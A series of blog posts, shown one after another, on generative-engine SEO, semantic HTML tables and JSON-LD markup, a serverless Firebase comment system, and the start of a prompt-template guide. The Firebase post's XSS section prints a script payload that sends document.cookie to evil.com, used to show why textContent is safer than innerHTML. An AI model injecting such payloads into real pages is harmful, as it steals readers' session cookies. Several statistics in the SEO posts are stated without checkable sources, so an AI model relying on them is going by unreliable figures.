Unsourced general claim	"sites got faster"	❌ Low

2. Table Dominance: HTML vs. Markdown and Why It Matters

According to Surfer SEO research (2025), pages with HTML tables are cited in Perplexity 47% more often than pages with equivalent text-only content. The reason is technical - an LLM reads a <table> matrix as a token array with clear cell boundaries, making it far easier to extract specific values into a response.

Markdown Table vs. HTML: The Risk

❌ Markdown table - rendering depends on the SSG parser:
| Platform  | TTFB   | Price  |
|-----------|--------|--------|
| WordPress | 800ms  | $9/mo  |

If Eleventy (or another SSG) converts this to <table> - great.
If it stays as plain text - the LLM just sees a mess of pipes and dashes.

✅ HTML table - guaranteed parsing for any crawler:
<table>
  <thead><tr><th>Platform</th><th>TTFB</th><th>Price</th></tr></thead>
  <tbody>
    <tr><td>WordPress (shared)</td><td>800+ ms</td><td>$9/mo</td></tr>
    <tr><td>Eleventy + NVMe VPS</td><td>&lt;50ms</td><td>$5–10/mo</td></tr>
  </tbody>
</table>

Mobile Responsiveness Without Breaking Parsability

The core dilemma: a full HTML table is ideal for LLMs, but on a 375px mobile screen it's a disaster. The solution is a CSS card transformation using data-label attributes:

/* Mobile: table → cards */
@media (max-width: 600px) {
  .cmp-table thead { display: none; }

  .cmp-table tr {
    display: block;
    border: 1px solid #30363d;
    border-radius: 6px;
    margin-bottom: 12px;
  }

  .cmp-table td {
    display: flex;
    justify-content: space-between;
    border-bottom: 1px solid #21262d;
    padding: 6px 10px;
  }

  /* Show column name before the value */
  .cmp-table td::before {
    content: attr(data-label);
    font-weight: 600;
    color: #8b949e;
    margin-right: 8px;
  }
}

<!-- HTML with data-label: readable by both LLMs and mobile users -->
<tr>
  <td data-label="Platform">Eleventy + NVMe VPS</td>
  <td data-label="TTFB">&lt;50ms</td>
  <td data-label="Price">$5–10/mo</td>
</tr>

The result: on desktop - a classic table that an LLM parses cleanly. On mobile - cards where every value is labeled. The semantic <table> structure is fully preserved - a crawler sees no difference.

3. Deep BLUF: Every H2 Section as a Self-Contained Semantic Node

In Part 1 we talked about BLUF at the article level. But a RAG pipeline often loads not the full page, but only the relevant fragment - the H2 section that most closely matches the user's query. This means every section needs to be a self-sufficient semantic node.

Anatomy of a GEO-Optimized H2 Section

<section>

  <!-- 1. Heading - a natural long-tail query -->
  <h2>Why HTML Tables Get 47% More Citations in Perplexity</h2>

  <!-- 2. BLUF sentence - a ready answer to the query intent -->
  <p>
    <strong>Short answer:</strong> LLMs read a &lt;table&gt; matrix as a
    structured token array - extracting a specific value from a cell
    is far more efficient than parsing the same fact from running text.
  </p>

  <!-- 3. Technical depth for the human reader -->
  <p>Detailed explanation, context, nuances...</p>

  <!-- 4. Structured data - gold for the parser -->
  <table>...</table>

  <!-- 5. Code or specific commands if applicable -->
  <pre><code>...</code></pre>

</section>

Comparing Structures: Bad vs. Good H2 Section

Element	❌ Old SEO Approach	✅ GEO Approach
H2 Heading	"Benefits of HTML Tables"	"Why HTML Tables Get 47% More Citations"
First Paragraph	"In this section we will explore..."	One sentence with a ready answer + a number
Main Content	Wall of keyword-stuffed text	Text + table or code block
Section End	Smooth transition to the next section	Micro-conclusion or a specific next step

4. Hard E-E-A-T Signals That AI Cannot Fake

ChatGPT and Claude can instantly rewrite dry theory. But there's a class of content they physically cannot generate - live operational experience from a specific person in a specific environment.

Three Uniqueness Anchors for GEO

1. Real terminal output

# Live TTFB measurement - this result only exists on your server
$ curl -o /dev/null -s -w "TTFB: %{time_starttransfer}s\n" \
  https://your-site.com/posts/your-article/
TTFB: 0.048s

# For comparison - a typical WordPress on shared hosting
$ curl -o /dev/null -s -w "TTFB: %{time_starttransfer}s\n" \
  https://example-wp-blog.com/
TTFB: 0.923s

An LLM cannot generate this stdout - it's unique and tied to your infrastructure at a specific point in time.

2. Specific bugs and environment quirks

Generic statements like "Eleventy is fast" can be rewritten by AI in seconds. But "when using eleventy-img with formats: ["avif", "webp"] and Sharp 0.33+, a memory leak occurs on Node.js 22 when processing > 200 images in parallel" - that's a specific bug in a specific environment. That level of detail is a primary-source signal for search algorithms.

3. Live operational metrics

Firebase Realtime Database - actual load from a personal blog
(May 2026, Spark Plan):

Monthly read operations:  47,832 / 400,000 limit (12%)
Storage:                  0.003 GB / 1 GB limit  (0.3%)
Peak traffic (comments):  8 concurrent connections / 100 limit
Monthly cost:             $0.00

These numbers can't be convincingly fabricated - they're tied to a real project and verifiable through Firebase Console. This is exactly the content Google E-E-A-T marks as "Experience" and AI search cites as a primary source.

5. Pre-Publish Checklist

Before hitting publish, verify each item:

[ ] The introductory "watery" paragraph has been replaced with a BLUF sentence containing a concrete fact
[ ] Every 200 words contain at least one verified number or metric
[ ] Every comparison or feature set is formatted as an HTML <table>
[ ] Tables have data-label attributes for mobile CSS transformation
[ ] Every H2 section starts with a BLUF sentence (<strong>Short answer:</strong>)
[ ] At least one live experience element is present: terminal output, a versioned bug, a real metric
[ ] Links to primary sources (research, documentation, GitHub) are included
[ ] A FAQ section at the end with at least 3 naturally-phrased questions

FAQ

Do texts written for LLMs become dry and boring for human readers?

No - and here's why: humans don't read filler either. People scan text looking for concrete answers. The BLUF + facts + tables structure improves UX for humans just as much as for AI parsers. Storytelling and narrative remain - they're simply separated from technical blocks with clean semantic tags.

Should I ditch keyword optimization entirely in favor of fact density?

No, it's not either/or. Keywords are still needed for classic SEO and for AI parsers to find the page for a given query in the first place. But in 2026, having a keyword present is no longer enough to get cited - you also need high density of verified facts surrounding it.

How many tables is optimal for one article?

A good rule of thumb: one table per comparison or feature set - typically 2-4 tables in a full technical article. More tables than text signals to Google that the content is "thin." Fewer than one per 1,500 words is a missed opportunity for structured citation.

How do I check whether my article is being cited in ChatGPT or Perplexity?

The simplest method: ask Perplexity a question your article should answer and see if your domain shows up under "Sources." For ChatGPT Search - the same thing via the web interface with search enabled. Systematic tracking and automation of this process will be covered in detail in Part 4 of the series.

What's Next in the GEO/SEO 2026 Series

Part 3 - GEO Automation in Eleventy: how to auto-generate JSON-LD schema, BLUF blocks, and mobile tables through Nunjucks templates - so you never write micro-markup by hand for each new article.

Part 4 - Measuring the GEO Effect: how to track how often your site is cited in ChatGPT, Perplexity, and Gemini; which metrics replace classic CTR; and how to build a monitoring dashboard without paid tools.

GEO in 2026: Optimize Your Site for ChatGPT & Perplexity

Aribu js — Sat, 06 Jun 2026 11:53:06 +0000

The classic search experience - type a query, get 10 blue links, click one - is rapidly giving way to a single synthesized answer from an AI agent. According to SparkToro, the share of searches that end with a click to a website dropped from ~65% in 2023 to an estimated 40-45% in 2026. The rest get answered directly inside ChatGPT Search, Perplexity, Gemini, or Copilot.

That shift has a name: GEO - Generative Engine Optimization.

TL;DR - Bottom Line Up Front
(This block itself is an example of a GEO-optimized article opening)

GEO = optimizing your site to be cited in AI search responses (ChatGPT, Perplexity, Gemini, Copilot), not just ranked in Google.

How it works: AI systems use RAG architecture - they fetch the top 5-10 pages and synthesize an answer. Your job: be the easiest page to parse.

Three pillars of GEO: clean semantic HTML + structured facts in tables + a BLUF block at the top of every page.

Time to implement the basics: 2-4 hours per site (robots.txt, schema markup, BLUF blocks).

Meta note: this article is itself written to GEO standards - notice the structure, tables, and FAQ at the end.

Why 2026 Is a Turning Point for Organic Search

The SEO funnel used to look like this: query → 10 links → click → site.

AI search breaks that model: query → synthesized answer with 2-3 cited sources → (maybe) a click.

Classic SEO vs. GEO - Side by Side

Criterion	Classic SEO	GEO (2026)
Optimization target	SERP position	Citation in AI response
Primary signal	Backlinks, keyword density	Clarity, structure, verifiable facts
Unit of output	Link to your site	Text answer + source attribution
Key crawlers	Googlebot, Bingbot	GPTBot, PerplexityBot, Google-Extended
Success metric	CTR from SERP	Citation rate in AI answers
Ideal content format	Long-form keyword-rich text	Facts, tables, BLUF, FAQ
Are SEO and GEO compatible?	✅ Yes - most GEO techniques reinforce classic SEO	✅ Yes

How AI Search Finds and Cites Content: The RAG Architecture

To understand GEO, you need to understand how AI search actually "thinks." Perplexity, ChatGPT Search, and Gemini don't just draw from training data - they use RAG (Retrieval-Augmented Generation):

User: "How do I optimize my site for Perplexity?"
      │
      ▼
1. AI forms a search query → hits Bing/Google/its own index
      │
      ▼
2. Fetches the HTML of the top 5-10 pages into its context window
      │
      ▼
3. Parser reads: <article>, <h1-h3>, <table>, <ul>, <blockquote>
   ⚠ Ignores: nested <div> soup, JS-rendered content, pop-up overlays
      │
      ▼
4. LLM synthesizes a response, inserting citations from the clearest sources
      │
      ▼
Answer: "According to example.com, GEO optimization involves..."

What "Easy to Parse" Actually Means

The AI parser reads your page in 0.1-0.3 seconds and decides: cite or skip. Here's what it prioritizes:

First 150 words containing a direct answer to the question (BLUF).
Semantic tags - <article>, <section>, <h2>, <ul>, <table>.
Concrete numbers and facts - "in 2026", "40% of traffic", "3 steps".
A FAQ section at the end - the most frequently cited part of any article.

Step 1. Configure robots.txt for AI Crawlers

The fastest win: make sure your site is physically accessible to AI bots. By default, some CMS platforms and CDNs block newer user-agents.

Open /robots.txt at your domain root and add:

# ── Search engines (required) ────────────────────────────
User-agent: Googlebot
Allow: /

User-agent: Bingbot
Allow: /

# ── AI crawlers 2026 ─────────────────────────────────────
# OpenAI / ChatGPT Search
User-agent: GPTBot
Allow: /

User-agent: ChatGPT-User
Allow: /

# Perplexity AI
User-agent: PerplexityBot
Allow: /

# Google Gemini / AI Overviews
User-agent: Google-Extended
Allow: /

# Anthropic Claude
User-agent: ClaudeBot
Allow: /

User-agent: anthropic-ai
Allow: /

# Microsoft Copilot
User-agent: Bingbot
Allow: /

# Meta AI
User-agent: FacebookBot
Allow: /

# ── To protect content from model training (optional) ────
# (this blocks training crawls, NOT search citation)
# User-agent: GPTBot
# Disallow: /posts/premium/

Sitemap: https://yourdomain.com/sitemap.xml

⚠️ Important: GPTBot is the crawler for ChatGPT Search results, not for model training. Blocking it = disappearing from ChatGPT Search. If you only want to block training scrapes, that's a separate directive - OpenAI has indicated one is coming, but it isn't standardized yet.

Verify AI Crawler Access

# Check that robots.txt is accessible to GPTBot
curl -A "GPTBot" https://yourdomain.com/robots.txt

# Verify PerplexityBot can reach a specific article
curl -A "PerplexityBot" https://yourdomain.com/posts/your-article/

# Check server response time (aim for < 200ms for static sites)
curl -o /dev/null -s -w "%{time_total}\n" https://yourdomain.com/

Step 2. Semantic HTML Instead of Div Soup

AI parsers read the raw HTML tree, not the rendered DOM. If your entire site is built on <div class="wrapper"><div class="inner"><div class="content">, the parser burns tokens on structural guesswork instead of your actual content.

Document Structure That AI Can Read

<!DOCTYPE html>
<html lang="en">
<head>
  <!-- JSON-LD schema markup (details in Step 3) -->
  <script type="application/ld+json">{ ... }</script>
</head>
<body>

<header>
  <nav aria-label="Main navigation">...</nav>
</header>

<main>
  <article>
    <header>
      <h1>Article Title</h1>  <!-- One H1 per page, period -->
      <time datetime="2026-06-06">June 6, 2026</time>
      <address rel="author">Author Name</address>
    </header>

    <!-- BLUF block - the first thing AI reads -->
    <section aria-label="Summary">
      <p><strong>Bottom line:</strong> ...</p>
    </section>

    <section>
      <h2>First Section</h2>  <!-- H2, never H1 -->
      <p>...</p>
      <ul>
        <li>Structured point 1</li>  <!-- <ul>/<ol> beats "• text" -->
        <li>Structured point 2</li>
      </ul>
    </section>

    <!-- FAQ before closing article tag -->
    <section itemscope itemtype="https://schema.org/FAQPage">
      <h2>FAQ</h2>
      ...
    </section>

  </article>
</main>

<footer>...</footer>
</body>
</html>

What never to do:

<!-- ❌ Div soup - AI sees "noise", not structure -->
<div class="post-wrap">
  <div class="post-inner">
    <div class="post-title">Title</div>  <!-- not H1, not H2 -->
    <div class="post-body">
      <div class="text-block">Content...</div>
    </div>
  </div>
</div>

Step 3. JSON-LD Schema Markup - A Direct Signal to AI

JSON-LD is a machine-readable description of your page, placed in <head>. Google uses it for Featured Snippets, Bing for Copilot, and through them - AI search broadly. It's the most direct signal you can send to any crawler.

Article Schema - for Every Blog Post

<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": "GEO in 2026: How to Optimize Your Site for AI Search",
  "description": "Step-by-step guide to GEO optimization for ChatGPT, Gemini, and Perplexity.",
  "datePublished": "2026-06-06T10:00:00+00:00",
  "dateModified": "2026-06-06T10:00:00+00:00",
  "author": {
    "@type": "Person",
    "name": "Your Name",
    "url": "https://yourdomain.com/about/"
  },
  "publisher": {
    "@type": "Organization",
    "name": "Your Blog Name",
    "url": "https://yourdomain.com",
    "logo": {
      "@type": "ImageObject",
      "url": "https://yourdomain.com/images/logo.png"
    }
  },
  "mainEntityOfPage": {
    "@type": "WebPage",
    "@id": "https://yourdomain.com/posts/geo-optimization-2026/"
  },
  "image": "https://yourdomain.com/images/geo-cover.webp"
}
</script>

FAQPage Schema - the Most-Cited Markup in AI Responses

<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "What is GEO and how is it different from SEO?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "GEO (Generative Engine Optimization) is the practice of optimizing a website to be cited in AI search responses (ChatGPT, Perplexity, Gemini). Unlike SEO, which targets search engine rankings, GEO targets AI systems choosing your content as a source for synthesized answers."
      }
    },
    {
      "@type": "Question",
      "name": "Which AI bots should be allowed in robots.txt?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "For maximum AI search coverage, allow: GPTBot and ChatGPT-User (OpenAI), PerplexityBot (Perplexity), Google-Extended (Gemini), ClaudeBot and anthropic-ai (Anthropic), FacebookBot (Meta AI)."
      }
    }
  ]
}
</script>

HowTo Schema - for Step-by-Step Guides

<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "HowTo",
  "name": "How to Optimize a Website for GEO in 2026",
  "totalTime": "PT3H",
  "step": [
    {
      "@type": "HowToStep",
      "position": 1,
      "name": "Configure robots.txt for AI crawlers",
      "text": "Open /robots.txt and add Allow directives for GPTBot, PerplexityBot, Google-Extended, and ClaudeBot."
    },
    {
      "@type": "HowToStep",
      "position": 2,
      "name": "Switch to semantic HTML",
      "text": "Replace div soup with article, section, h1-h3, ul, and table elements for better AI crawler parsing."
    },
    {
      "@type": "HowToStep",
      "position": 3,
      "name": "Add JSON-LD schema markup",
      "text": "Implement Article, FAQPage, and HowTo schema in the head of every page."
    },
    {
      "@type": "HowToStep",
      "position": 4,
      "name": "Write a BLUF block at the top of every article",
      "text": "The first 150 words should contain a direct answer to the article's primary question."
    }
  ]
}
</script>

💡 Eleventy tip: automate JSON-LD via a template. Create _includes/schema.njk and include it in your base layout with {% include 'schema.njk' %} - every article then gets schema markup generated automatically from frontmatter.

Step 4. BLUF Blocks and Content Structure for LLMs

BLUF (Bottom Line Up Front) is a principle borrowed from military communication: lead with the conclusion. This block is what AI search loads into its context window first - and what it's most likely to cite.

Rules for Writing a BLUF Block

Length: 80-150 words or 4-6 bullet points.
Position: immediately after H1, before the first H2.
Format: direct answer to "what, why, how" - no filler openers like "in this article we will explore...".
Specificity: numbers, timeframes, tool names - no abstract generalities.

Tables and Lists Are Gold for LLMs

Research from Surfer SEO (2025) shows pages with HTML tables are cited in Perplexity responses 47% more often than pages with equivalent text-only content. LLMs find it trivially easy to "cut" a table row into a response.

Format any comparison, specification, or dataset as a <table> - not as a bulleted list with **Name:** value. This applies to markdown tables too - just make sure your SSG actually renders them as clean <table> HTML, not as plaintext.

Step 5. E-E-A-T Content Strategy in 2026

Google officially added the fourth E (Experience) to its E-E-A-T framework specifically because AI got good at rewriting dry theory. What it can't generate is genuine first-hand experience.

What Raises Authority for AI Search

Precise numbers with sources. Instead of "AI search traffic is growing," write "according to Similarweb Q1 2026, Perplexity processes over 100 million queries per month." AI models are trained to minimize hallucinations - they prefer sources with verifiable, specific claims.

Long-tail queries in natural language. Don't optimize for "SEO 2026" - optimize for "how do I check whether PerplexityBot can access my site." AI search is a conversational interface, and people phrase questions naturally.

Original practical experience. Real screenshots, descriptions of actual mistakes you made, specific commands you ran - this is content that can't be generated without lived experience. It's exactly what AI search systems look for when choosing sources to cite.

Links to primary sources. Official documentation, research papers, GitHub repositories - they boost E-E-A-T signals for both Google and AI crawlers.

GEO Readiness Checklist for 2026

[ ] Every page has a BLUF block (80–150 words) with a direct answer to its primary question
[ ] robots.txt is open for GPTBot, PerplexityBot, Google-Extended, ClaudeBot
[ ] JSON-LD Article schema is in <head> of every article
[ ] FAQPage schema is marked up for FAQ sections
[ ] HowTo schema is added for step-by-step guides
[ ] HTML structure uses semantic tags: <article>, <section>, <h2>–<h3>
[ ] Comparisons and specs are formatted as HTML tables, not text lists
[ ] Every article contains at least one specific fact with a number and a source
[ ] A FAQ section is present at the end of every article (minimum 3-4 questions)
[ ] Pages load in under 200ms (static sites have a structural advantage here)
[ ] sitemap.xml is connected and up to date
[ ] Indexing verified in Google Search Console and Bing Webmaster Tools

FAQ

What is GEO and how is it different from SEO?
GEO (Generative Engine Optimization) is the practice of optimizing a website to be cited in AI search responses - ChatGPT Search, Perplexity, Gemini, Copilot. Classic SEO targets position in search results. GEO targets AI systems selecting your content as the source for a synthesized answer. In 2026, the two approaches don't conflict - most GEO techniques reinforce classic SEO as well.

Can I verify whether GPTBot or PerplexityBot can actually reach my site?
Yes. Bing Webmaster Tools shares infrastructure with Copilot and partially with PerplexityBot - use it as a crawl health proxy. For ChatGPT Search specifically, run curl -A "GPTBot" https://yourdomain.com/robots.txt in your terminal. Google Search Console shows Google-Extended accessibility under the "Crawl stats" report.

Does site speed affect AI search ranking?
There's no confirmed direct speed ranking factor for AI search yet - but there is an indirect one: slow sites frequently hit timeouts during RAG-architecture parsing and simply don't make it into the source pool. Static sites on SSGs (Eleventy, Hugo, Astro) with TTFB under 100ms have a structural advantage over CMS-driven sites.

Is JSON-LD schema necessary if the site already ranks well in Google?
Yes, for a different reason. Google uses JSON-LD for Featured Snippets and Rich Results. AI search systems use it to understand content type and authorship. FAQPage schema directly increases the likelihood of FAQ sections being cited in ChatGPT Search and Perplexity responses - independent of SEO position.

Conclusion

GEO in 2026 isn't a replacement for SEO - it's a natural extension of it. If your site already has clean structure, fast load times, and genuinely useful content, you're already 60% of the way there. The rest - robots.txt for AI bots, JSON-LD schema, and BLUF blocks at the top of every article - takes a few hours and compounds over time.

This article itself is written to GEO standards: BLUF at the top, semantic headings, comparison tables, code blocks with real copy-paste code, and a FAQ at the end. If Perplexity or ChatGPT cites it in response to a question about GEO - that's the strongest proof the approach works. 🎯

Drop a comment if you've already implemented any of these changes and seen a difference in AI citation rates - would love to compare notes. 👇

Blog Comment System on Firebase: XSS Protection and $0 Cost

Aribu js — Sun, 31 May 2026 05:40:41 +0000

We build lightning-fast static sites on Eleventy (11ty), fight for every millisecond in Google PageSpeed - and then sabotage our own speed and security. How? By dropping a third-party <script> for a comment widget onto the page.

This guide walks through building a self-hosted, serverless comment system on Firebase Realtime Database: zero external scripts, zero cost, and complete XSS protection.

TL;DR

Problem: third-party widgets (Disqus, Utterances) slow your site and introduce Supply Chain Attack risk.

Solution: Firebase Realtime Database - free, real-time, no third-party scripts.

Security: server-side Security Rules + textContent instead of innerHTML on the frontend.

Spark Plan (free tier): 1 GB storage · 10 GB/month transfer · 100 simultaneous connections.

Time to implement: 2-4 hours with basic JavaScript knowledge.

📦 Full Source Code

The complete working implementation is available on GitHub:

bodikinf / hermes-jamstack-showcase

Autonomous AI SEO Engineer for Jamstack blogs (DEV.to Challenge Showcase)

🤖 Hermes Agent & Serverless Blog Architecture

This repository is a showcase for the Hermes Agent Challenge on DEV.to and a demonstration of modern, secure Jamstack architecture.

It features a production-ready, hybrid AI architecture where a local Node.js script acts as an autonomous digital worker optimizing SEO for an Eleventy (11ty) blog, alongside a custom-built, highly secure serverless comments system.

🌟 Key Features

🤖 Autonomous SEO Agent (Hermes)

Multilingual AI Auditing: Automatically detects the language based on the directory (/posts for Ukrainian, /en/posts for English) and forces the AI to generate localized meta tags.
Idempotence ("Do No Harm"): The agent uses gray-matter to parse Front Matter safely. It only updates files that are missing the ai_summary or description fields.
Fault Tolerance: Built-in try...catch loops with emergency sleep protocols to handle 503 Service Unavailable API errors without crashing.
Strict JSON Output: Uses advanced prompt engineering to force Gemini 2.5 Flash…

View on GitHub

Feel free to fork it, adapt the Firebase config to your own project, and follow along as we break down each part below.

Why Third-Party Comment Widgets Kill Your Blog

Supply Chain Attack: The Invisible Threat

An external comment widget is third-party code executing with full privileges on your domain. Here's the attack vector:

Hackers compromise the CDN or npm package of a widget provider (Disqus, Hyvor Talk).
A malicious script is injected into the distribution.
On the next page load, that code runs in every reader's browser.
Result: stolen cookies, redirects, crypto mining.

This isn't theoretical. In 2022, the compromise of the event-stream npm package affected over 8 million projects.

Real Impact on PageSpeed and SEO

Disqus loads an average of 10-15 external requests and 400-600 KB of JavaScript. Google PageSpeed Insights directly ties these metrics to search ranking.

Comparison with Alternatives

Solution	Price	Trackers	XSS Risk	Data Control
Disqus	$0 / $11+/mo	❌ Yes (ads)	⚠️ Medium	❌ None
Utterances (GitHub)	$0	✅ None	⚠️ Medium	⚠️ Partial
Hyvor Talk	$7+/mo	✅ None	⚠️ Medium	❌ None
Firebase (self-hosted)	$0	✅ None	✅ Minimal	✅ Full

Step 1. Why Firebase Realtime Database?

Spinning up a dedicated backend (PHP + MySQL) for a static blog is a waste of resources. Firebase Realtime Database solves this elegantly:

🛡️ Zero SQL injections. NoSQL stored as a JSON tree - DROP TABLE is physically impossible.
💰 Free Spark Plan: 1 GB storage, 10 GB/month transfer, 100 simultaneous connections, 400K read/write ops per day.
⚡ Real-time. Data loads over WebSocket with no page refresh.
🔐 Server-side validation. Security Rules run on Google's infrastructure - they cannot be bypassed by client-side code.

Step 2. Setting Up the Firebase Project

Go to console.firebase.google.com and create a new project.
Choose Build → Realtime Database → Create Database.
Select a region closest to your audience (us-central1 or europe-west1).
Start in Test Mode - we'll lock it down in the next step.
Copy your databaseURL - you'll need it for the SDK.
In Project Settings → General → Your apps, add a web app and copy the config:

const firebaseConfig = {
  apiKey: "YOUR_API_KEY",
  authDomain: "your-project.firebaseapp.com",
  databaseURL: "https://your-project-default-rtdb.firebaseio.com",
  projectId: "your-project",
  storageBucket: "your-project.appspot.com",
  messagingSenderId: "000000000000",
  appId: "1:000000000000:web:xxxxxxxxxxxx"
};

👀 See how this config is wired into the full project in the repo.

Step 3. Backend Armor: Firebase Security Rules

The weakest link in any open database is bots and spammers. Open Realtime Database → Rules and replace the contents with:

{
  "rules": {
    "comments": {
      "$postId": {
        "$commentId": {
          ".read": true,
          ".write": "!data.exists()",
          ".validate": "newData.hasChildren(['name', 'text', 'timestamp'])
                        && newData.child('name').isString()
                        && newData.child('name').val().length >= 1
                        && newData.child('name').val().length <= 50
                        && newData.child('text').isString()
                        && newData.child('text').val().length >= 1
                        && newData.child('text').val().length <= 1000
                        && newData.child('timestamp').isNumber()
                        && newData.child('timestamp').val() <= now"
        }
      }
    }
  }
}

Breaking Down Each Rule

Rule	What it protects against
`".write": "!data.exists()"`	Prevents editing or deleting already-saved comments
`name.length <= 50`	Blocks spam with megabyte-long display names
`text.length <= 1000`	Caps comment size - protection against flooding
`isString()`	Blocks arrays, objects, or numbers sent instead of text
`timestamp <= now`	Blocks comments with a future timestamp

⚠️ Key point: these rules execute on Google's servers and cannot be bypassed even if someone has direct access to your JavaScript in the browser.

Step 4. Frontend XSS Protection

The biggest risk for any comment system is XSS (Cross-Site Scripting). An attacker types this into your form:

<script>document.location='https://evil.com/?c='+document.cookie</script>

If the browser executes it, every reader's session data is compromised.

Why `textContent` Is Safer Than `innerHTML`

// ❌ DANGEROUS - the browser parses and executes the HTML
element.innerHTML = userInput;

// ✅ SAFE - the browser treats the content as plain text only
element.textContent = userInput;

Full Comment Rendering Function

function renderComment(commentData, commentId) {
  const li = document.createElement('li');
  li.dataset.id = commentId;

  const header = document.createElement('div');
  header.className = 'comment-header';

  const name = document.createElement('strong');
  name.textContent = commentData.name; // textContent - no script will ever execute

  const date = document.createElement('time');
  const ts = new Date(commentData.timestamp);
  date.textContent = ts.toLocaleDateString('en-US', {
    day: 'numeric', month: 'long', year: 'numeric'
  });
  date.setAttribute('datetime', ts.toISOString());

  const text = document.createElement('p');
  text.textContent = commentData.text; // textContent - XSS is impossible

  const replyBtn = document.createElement('button');
  replyBtn.textContent = 'Reply';
  replyBtn.className = 'reply-btn';
  replyBtn.addEventListener('click', () => prefillReply(commentData.name));

  header.appendChild(name);
  header.appendChild(date);
  li.appendChild(header);
  li.appendChild(text);
  li.appendChild(replyBtn);

  return li;
}

Thanks to textContent, even a fully crafted XSS payload renders as a harmless string of characters on screen.

Sending a Comment to Firebase

import { initializeApp } from 'https://www.gstatic.com/firebasejs/10.12.0/firebase-app.js';
import { getDatabase, ref, push, onValue } from 'https://www.gstatic.com/firebasejs/10.12.0/firebase-database.js';

const app = initializeApp(firebaseConfig);
const db  = getDatabase(app);

async function submitComment(postId, name, text) {
  const commentsRef = ref(db, `comments/${postId}`);
  await push(commentsRef, {
    name:      name.trim().substring(0, 50),
    text:      text.trim().substring(0, 1000),
    timestamp: Date.now()
  });
}

function loadComments(postId) {
  const commentsRef = ref(db, `comments/${postId}`);
  const list = document.getElementById('comments-list');

  onValue(commentsRef, (snapshot) => {
    list.innerHTML = ''; // The only allowed innerHTML - clearing the container
    snapshot.forEach((child) => {
      list.appendChild(renderComment(child.val(), child.key));
    });
  });
}

Step 5. UX: Native Emoji and Flat-Threading

Emoji Without Libraries

Instead of a heavy emoji-picker library, a simple placeholder hint does the job:

<textarea
  id="comment-text"
  placeholder="Your comment... Emoji: Win + .  or  Cmd + Ctrl + Space"
  maxlength="1000"
></textarea>

Readers use the native OS keyboard shortcut. This weighs 0 bytes and introduces zero vulnerabilities.

Flat-Threading Reply System

function prefillReply(authorName) {
  const form  = document.getElementById('comment-form');
  const input = document.getElementById('comment-text');

  // Smooth scroll to the form
  form.scrollIntoView({ behavior: 'smooth', block: 'center' });

  // Prepend @mention
  const mention = `@${authorName}, `;
  input.value   = input.value.startsWith(mention) ? input.value : mention + input.value;
  input.focus();
}

Results and Metrics

Metric	Before (Disqus)	After (Firebase)
External requests	12-15	0
Comment JS payload	~480 KB	~18 KB (Firebase SDK)
Data ownership	None	100%
Monthly cost	$0-$11	$0
XSS attack surface	Present	Eliminated

FAQ

Is the free Firebase Spark Plan enough for an active blog?
Yes. A single JSON comment averages 300-500 bytes, so 1 GB holds roughly 2-3 million comments. Even for a high-traffic blog, the free tier lasts for years.

Can someone overwrite another user's comment?
No. The rule ".write": "!data.exists()" prevents overwriting any existing record. Only you, as the project owner via Firebase Console, can delete or edit comments. Client-side code has no delete access.

Do readers need to register to comment?
Not in this implementation - only a display name and text. If you need auth, Firebase Authentication (Google, GitHub OAuth) plugs into the same database without changing the Security Rules.

How do you block spam bots without a CAPTCHA?
Firebase Security Rules (length limits, type enforcement, timestamp validation) combined with an HTML honeypot field - a hidden input that bots fill but humans never see - is enough protection for most blogs with no extra services.

Conclusion

A few hours of work gets you a comment system that loads instantly, carries zero ad trackers, and costs exactly $0. It's the right approach for developers who value independence and ownership of their own data.

The full working implementation - Security Rules, frontend JS, and HTML form - is in the repo:

bodikinf / hermes-jamstack-showcase

Autonomous AI SEO Engineer for Jamstack blogs (DEV.to Challenge Showcase)

🤖 Hermes Agent & Serverless Blog Architecture

This repository is a showcase for the Hermes Agent Challenge on DEV.to and a demonstration of modern, secure Jamstack architecture.

🌟 Key Features

🤖 Autonomous SEO Agent (Hermes)

Multilingual AI Auditing: Automatically detects the language based on the directory (/posts for Ukrainian, /en/posts for English) and forces the AI to generate localized meta tags.
Idempotence ("Do No Harm"): The agent uses gray-matter to parse Front Matter safely. It only updates files that are missing the ai_summary or description fields.
Fault Tolerance: Built-in try...catch loops with emergency sleep protocols to handle 503 Service Unavailable API errors without crashing.
Strict JSON Output: Uses advanced prompt engineering to force Gemini 2.5 Flash…

View on GitHub

Drop a comment below if you run into any issues or have questions about adapting it to your stack. 👇

10 Prompt Templates for Business: Save 5 Hours

Aribu js — Thu, 28 May 2026 16:56:55 +0000

Prompt Engineering for Business: 10 Templates That Save You 5 Hours a Week

How much time does your team spend writing repetitive emails, generating social media posts, and manually collecting competitor data? If that number is creeping past 3 hours a week - the problem isn't a lack of creativity or low productivity. It's a lack of a systematic approach.

Today, prompt engineering for business is no longer magic reserved for developers - it's as fundamental a skill as working in Excel. Instead of explaining the same task to an AI from scratch every single time, successful entrepreneurs rely on battle-tested, reusable frameworks.

In this guide we'll break down the anatomy of a perfect prompt, run a quick time audit, and hand you 10 ready-made templates. Copy, swap out the variables for your niche, and go. 🚀

Why a "Bad" Prompt Is Wasted Time and Money

Most entrepreneurs and solo developers give up on AI after a few disappointing attempts. They send vague requests like "write an interesting post about my new product" and get back dry, robotic, cliché-stuffed text drowning in generic emojis. This creates a false impression that AI is still too "raw" for real commercial tasks. The truth is that the problem lies entirely in the quality of the input.

What Separates a Strong Prompt from a Weak One: The Success Formula

Professional and consistent prompt engineering templates never come together by chance. They always rest on a clear, logical engineering framework made up of four mandatory components:

[Role] + [Task] + [Context] + [Output Format]

When you skip even one element, the large language model (LLM) starts hallucinating or filling in details on its own. Here's a side-by-side comparison:

Framework Component	❌ Bad Prompt	✅ Good Prompt
Role	Not defined at all	"You are a Senior Copywriter and B2B conversion expert..."
Task	"Write an article about selling my software"	"Write a personalized cold email for an outreach campaign..."
Context	Completely absent	"Our product is a cloud-based CRM for medical clinics. Target audience: chief physicians at private centers..."
Format	Whatever the AI decides	"Max 3 paragraphs, concise tone, Plain Text output, one clear CTA at the end."

How Much Time Routine Really Eats: A Quick Micro-Audit

Count how many minutes your manager spends crafting a correct, polite reply to a single difficult negative review. On average that's 15-20 minutes per review. Multiply by 10-15 reviews per week, then add daily brainstorming and content idea hunting.

